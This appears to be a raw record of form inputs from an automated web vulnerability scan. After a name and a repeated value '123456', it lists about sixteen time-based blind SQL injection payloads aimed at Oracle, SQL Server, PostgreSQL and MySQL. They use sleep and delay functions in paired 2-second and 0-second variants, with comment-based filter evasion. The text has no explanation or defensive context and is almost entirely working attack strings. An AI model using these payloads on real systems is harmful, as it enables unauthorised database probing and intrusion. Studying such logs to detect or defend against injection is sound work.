Sarah Connor

123456

123456

123456

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',0)='a

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('v',2)

123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('c',0)

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='